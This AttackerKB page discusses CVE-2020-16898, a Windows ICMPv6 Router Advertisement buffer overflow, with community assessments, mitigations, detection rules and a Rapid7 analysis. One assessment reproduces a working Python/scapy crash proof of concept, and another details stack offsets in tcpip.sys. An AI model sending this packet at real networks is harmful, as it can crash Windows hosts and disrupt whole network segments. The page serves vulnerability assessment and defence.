High
CVE-2020-16898 aka Bad Neighbor / Ping of Death Redux
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(6 users assessed)Low
(6 users assessed)CVE-2020-16898 aka Bad Neighbor / Ping of Death Redux
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A remote code execution vulnerability exists when the Windows TCP/IP stack improperly handles ICMPv6 Router Advertisement packets. An attacker who successfully exploited this vulnerability could gain the ability to execute code on the target server or client.
To exploit this vulnerability, an attacker would have to send specially crafted ICMPv6 Router Advertisement packets to a remote Windows computer.
The update addresses the vulnerability by correcting how the Windows TCP/IP stack handles ICMPv6 Router Advertisement packets.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityLow
Technical Analysis
Overview
Crafting IPv6 ICMP Router Advertisement Packets can lead to DOS or potential RCE on vulnerable devices. It is going to be difficult to develop a Full RCE with this exploit. You should of course patch quickly, however you do not need to “panic” when applying patches and mitigations for this across your estate.
The range of Windows Operating Systems impacted by this exploit is smaller than expected as this is a relatively new feature in the code. Server 2019 is not widely used on the open internet so is unlikely to garner much attention and Automatic Security Updates to windows 10 devices should mean that organisations are less vulnerable to this becomes a widespread effective exploit.
Mitigation
Patching is of course the best mitigation.
Disable IPv6 is a mitigation I have seen talked about this is a bad idea if you don’t understand what on your system may already be using it. Instead, disable the specific feature netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable
Detection
Suricata – https://github.com/advanced-threat-research/CVE-2020-16898
Snort – https://www.snort.org/rule_docs/1-55984
Zeek – https://github.com/corelight/CVE-2020-16898
Resources
Microsoft Advisory – https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
McAfee have a great writeup that details the vulnerability so I’m not going to repeat that read it from the source :)
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/
QuarksLab have also released a detailed blog post explaining how they were able to create a PoC – https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html
Context
There are two elements to this vulnerability:
DOS
It is trivial to trigger a crash condition that will lead to BSOD and force a restart of the OS. The POC contains python scapy code that can be used to crash a vulnerable target
RCE
Whilst RCE is technically possible gaining it from this exploit alone is extremely difficult due to the nature of the vuln and the protections in place on modern Windows.
Paired with another vulnerability that can leak additional information in memory it is possible this could lead to RCE and from there to a wormable exploit.
Proof Of Concept
The QuarksLab research includes a Python PoC that is successful at triggering a Crash. The poc is replicated and very slightly modified here.
from scapy.all import * def trigger(target_addr): ip = IPv6(dst = target_addr) ra = ICMPv6ND_RA() rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["3030:3030:3030:3030:3030:3030:3030:3030", "3131:3131:3131:3131:3131:3131:3131:3131"]) # We put an even value for the option length (original length was 5) rdnss.len = len(rdnss.dns) * 2 truncated = bytes(rdnss)[: (rdnss.len-1) * 8] # The last 8 bytes of the crafted RDNSS option are interpreted as the start of a second option # We build a Route Information Option here # https://tools.ietf.org/html/rfc4191#section-2.3 # Second byte (0x22) is the Length. This controls the size of the buffer overflow # (in this case, 0x22 * 8 == 0x110 bytes will be written to the stack buffer) routeinfo = b'\x18\x22\xfd\x81\x00\x00\x03\x84' # the value that overwrites the return address is taken from here correct = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141", "4242:4242:4242:4242:4242:4242:4242:4242"]) crafted = truncated + routeinfo FH=IPv6ExtHdrFragment() ip.hlim = 255 packet = ip/FH/ra/crafted/correct/correct/correct/correct/correct/correct/correct/correct/correct #send(packet) #return frags=fragment6(packet, 100) print("len of packet: %d | number of frags: %d" % (len(packet), len(frags))) packet.show() for frag in frags: send(frag, verbose=False) target_addr = "fe80::3935:5625:ea02:25c9" trigger(target_addr)
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery Low
Technical Analysis
Analysis performed using tcpip.sys from Windows 10 v1909 x64 (sha256: f2a0cb717ccbe7e7ff93ccadaeb23df4a8a76b386b6623fee1b5a975c3f16bfa)
Overview
A crafted IPv6 Router Advertisement frame can a stack based buffer overflow due to an improper calculation of the RDNSS
(type 25) option. When an RDNSS option uses a crafted length with an even value the parser will interpret the last 8
bytes of it as the start of the next option. When combined with fragmentation, this can cause a overflow due to the size
of the mis-interpreted header not being validated.
Exploitability Analysis
The public PoCs reliably reproduce this vulnerability to trigger a bug check condition. The relevant function is
tcpip!Ipv6pHandleRouterAdvertisement
which handles the parsing logic and is the function whose local variable is
overflown. The public PoCs use a Route Information (type 24) option to actually perform the overflow. In this case the
actual overflow is performed by a call to NdisGetDataBuffer
at Ipv6pHandleRouterAdvertisement+0xb8a01
.
In this call, the third parameter Storage
is a pointer to the stack at location rbp+0xb8
. From the documentation:
(Storage is) a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or
equal in size to the number of bytes specified in BytesNeeded . If this value is non-NULL, and the data requested is
not contiguous, NDIS copies the requested data to the area indicated by Storage.
Since Storage
is non-NULL, non-contiguous (due to the packet fragmentation), it is used as a destination buffer and
wOptLength
bytes are copied to it. In this context, wOptLength
is the length of the option in the original data
times 8. With a length of 176 (field value 0x16), the stack cookie at offset rbp+0x260
will be overwritten. As the
function returns, this leads to a Bug Check when the stack cookie is checked at
tcpip!Ipv6pHandleRouterAdvertisement+0x10e0
. The value of the stack cookie is also XORed with the value of the stack
pointer (rsp
) so knowing the value would not be sufficient to replace it in the overwrite.
After the overflow operation has taken place, the loop continues to process the following options:
- Type 3 (Prefix Information)
- Type 24 (Route Information)
- Type 25 (RDNSS)
- Type 31 (DNS Search List Option)
(see: http://blog.pi3.com.pl/?p=780)
From the /GS (Buffer Security Check) documentation:
A vulnerable parameter is allocated before the cookie and local variables. A buffer overrun can overwrite these
parameters. And code in the function that uses these parameters could cause an attack before the function returns and
the security check is performed.
After inspecting the logic for each of the four types that will be processed, there were no identified references to
values which could be controlled by an attacker using the overflow. While the handler for the Prefix Information (type
- option uses a 32 byte buffer which could be controlled by the attacker starting at
rbp+0x200
, it ismemset
to
zero atIpv6pHandleRouterAdvertisement+0xa19
.
There are no other references to the space between rbp+0x1b8
(&Storage
) and rbp+0x260
(the stack cookie) that are
accessible from this late in the Ipv6pHandleRouterAdvertisement function.
An alternative vector could potentially utilize a Search List (type 31) option to trigger the overflow. This function
makes a similar call to NdisGetDataBuffer
with a location on the stack. In this case the attacker can overflow the
buffer starting at rbp+0x90
and overwrite the stack cookie at rbp+0x190
. This function is less interesting as there
appear to be no usable references before the return and there is no looping logic due to the handler and overflow being
a subroutine of Ipv6pHandleRouterAdvertisement
.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
Technical Analysis
Rating high based on Microsoft’s published information. No user interaction required, no authentication required, and allows RCE with crafted ICMPv6 router advertisement packet
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportTechnical Analysis
I did a small python script that constructs the ICMPv6 Router advertisement as per advisory : advertisement packet (Type 134) followed by Recursive DNS (Type 25) OPTION and made sure the Length field is an even number> 3 (as RFC and exploit advisory suggest). I added one more OPTION field (Route Information , Type 24) just in case. Launched it against Windows 2019 and it did not crash it. Checked that Wireshark showed properly constructed packet. Any other condition that exploit must satisfy as currently I seem to be missing something?
By the way, when Length field in the Recursive DNS OPTION is any even number, Wireshark indicted malformed packet. When the field is an odd number, packet is properly dissected.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportEdit:
I was reading the wrong lua script this is related to 16899. Leaving here for those who got the notification and found it blank.
I am also “playing” with this and I noted that the McAfee article says Type 25 with an even length applied.
However If you read the lua dissector it actually says Type 31 – https://github.com/advanced-threat-research/CVE-2020-16899/blob/7c8528b253fa165016ef3a7eb9ec2d0e7de56af8/cve-2020-16899.lua#L32
And Length must be greater than 35 which we can do using the ListField in the DNSSL Option.
Either the write up is wrong or the lua script is looking at the wrong options.
Can you please provide a link to the python exploit so that I could further analyze and verify the exploit on my test environment. Or, you could also provide any help with regards to this so that I can develop the exploit code by myself.
@kevthehermit- Actually, the writeups seem to be ok. There are two CVEs :
CVE-2020-16899 that deals with DNSSL (option 31) and CVE-2020-16898 that deals with RDNSS (option 25).
RDNSS defines that length>3 and is even, triggers the exploit.
if option_type == 25 and length > 3 and (length % 2) == 0 then).
DNSSSL lua (CVE-2020-16899) checks the option Type 31 (as you correctly stated) and the DNS name len
if option_type == 31 and length >= 35 then
…
if dns_name_len >= 264 then.
I am experimenting with CVE-2020-16898 for now and those conditions are met in my Poc, but no crash.
Checked that Windows 2019 has its RA Based Dns Config “enabled” to allow for crash, but no luck…
It may be that some other OPTIONS must follow RDNSS that write up did not outline. (Tried with Type 5 (MTU) and Type 24 (Route information) but no luck with either of them or both of them combined)
From the SANS ISC:
https://isc.sans.edu/forums/diary/CVE202016898+Windows+ICMPv6+Router+Advertisement+RRDNS+Option+Remote+Code+Execution+Vulnerability/26684/
Highlight
Do not disable IPv6 entirely unless you want to break Windows in interesting ways.
This can only be exploited from the local subnet.
But it may lead to remote code execution / BSOD
PoC exploit is easy, but actual RCE is hard.
Ratings
-
Attacker ValueLow
-
ExploitabilityVery Low
Technical Analysis
Not going to repeat anything that other users have contributed here but one thing I think that was missed from the original advisory that I didn’t see noted here is that ICMPv6 is not routeable over the internet, and instead only over the local subnet (see the line This vulnerability is not routable over the internet, but only over a local subnet.
under the Mitigations
section of https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-16898).
This means that at best you could only exploit this if you were on the same network as the attacker. Even then this is a NULL pointer dereference vulnerability and all of the affected versions of Windows 10, as well as the affected server versions don’t allow you to map the NULL page needed to turn this into a remotely exploitable vulnerability unless you already have local access to the system (and if you already have local access, then why are you using this vulnerability anyway? There are better alternatives :) ).
A great indepth writeup of this vulnerability can be found at https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/ which covers the exploit in detail along with how it was patched.
If you want to test if systems are affected there is now working BSoD code at https://github.com/0vercl0k/CVE-2021-24086 if you need to check if a system is vulnerable and don’t mind BSoD’ing the target.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
ExploitabilityVery Low
Technical Analysis
Since this bug was released a couple months ago, I haven’t seen any sources that have indicated there’s been in-the-wild exploitation. Typical notes on memory corruption vulnerabilities being difficult to weaponize as reliable RCE apply here.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- windows 10 1709,
- windows 10 1803,
- windows 10 1809,
- windows 10 1903,
- windows 10 1909,
- windows 10 2004,
- windows server 2016 1903,
- windows server 2016 1909,
- windows server 2016 2004,
- windows server 2019 -
References
Miscellaneous
Additional Info
Technical Analysis
Update October 16, 2020: Security company Quarkslab published an analysis and crash proof-of-concept (PoC) for CVE-2020-16898. The crash PoC has been verified by independent researchers.
Description
On Tuesday, October 13, as part of the October 2020 Patch Tuesday release, Microsoft published a security advisory for CVE-2020-16898, a remote code execution (RCE) vulnerability in the Windows TCP/IP stack. The vulnerability arises when the TCP/IP stack does not properly handle ICMPv6 Router Advertisement packets. Successful exploitation requires sending specially-crafted ICMPv6 Router Advertisement packets to a remote Windows computer and could give an attacker the ability to execute code on the target server or client. CVE-2020-16898 carries a CVSSv3 base score of 9.8.
There are no reports of exploitation in the wild as of October 13, 2020, though Microsoft’s advisory rates the vulnerability as “exploitation more likely.” The vulnerability has garnered broad attention as potentially wormable.
Security firm McAfee has a great technical analysis of CVE-2020-16898 available here, which we highly recommend reading. See below for our own analysis.
Affected products
- Windows 10 Version 1709 for 32-bit Systems
- Windows 10 Version 1709 for ARM64-based Systems
- Windows 10 Version 1709 for x64-based Systems
- Windows 10 Version 1803 for 32-bit Systems
- Windows 10 Version 1803 for ARM64-based Systems
- Windows 10 Version 1803 for x64-based Systems
- Windows 10 Version 1809 for 32-bit Systems
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1903 for 32-bit System
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 2004 for 32-bit Systems
- Windows 10 Version 2004 for ARM64-based Systems
- Windows 10 Version 2004 for x64-based Systems
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
Rapid7 analysis
Exploit development and weaponization of CVE-2020-16898 would be non-trivial. Security firms have been quick to point out that exploiting the vulnerability to crash a target system with a Blue Screen of Death (BSoD) is straightforward; while that’s a good coal-mine canary, a full exploit chain would require an additional primitive (e.g., an info leak) to function fully. Hypothetically, the “easiest” exploit chain might be one in which an attacker leverages a different vulnerability to obtain the randomized kernel base address and stack cookie to reliably exploit CVE-2020-16898.
In general, reproducing a crash is to code execution as the tip of the iceberg is to the whole: A crash is an important first step on the path to successful exploit development, but turning even the heartiest BSoD into reliable and weaponizable RCE is a significant technical hurdle, especially for vulnerabilities whose immediate exploitability is hampered by modern software stack mitigations (e.g., kernel ASLR). Overall, Rapid7 researchers hesitate to add our voices to the chorus of commentators insisting that exploits are a short way away.
The likelihood of reliable exploits for CVE-2020-16898 may be less important than the fact that a single maliciously-crafted packet has the potential to knock out an entire network segment, which is problematic even before considering the possibility of code execution on the target system.
Guidance
We recommend applying the patch for CVE-2020-16898 as soon as possible. For those who are unable to patch immediately, consider disabling ICMPv6 RDNSS as a workaround (only available for Windows 1709 and above) via the PowerShell command below:
netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable
See Microsoft’s advisory for further details. No reboot is needed after making the change.
McAfee’s threat detection team also has detection logic and a Suricata rule available here.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
I wish I could upvote this multiple times. Very well written. Thank you @kevthehermit !!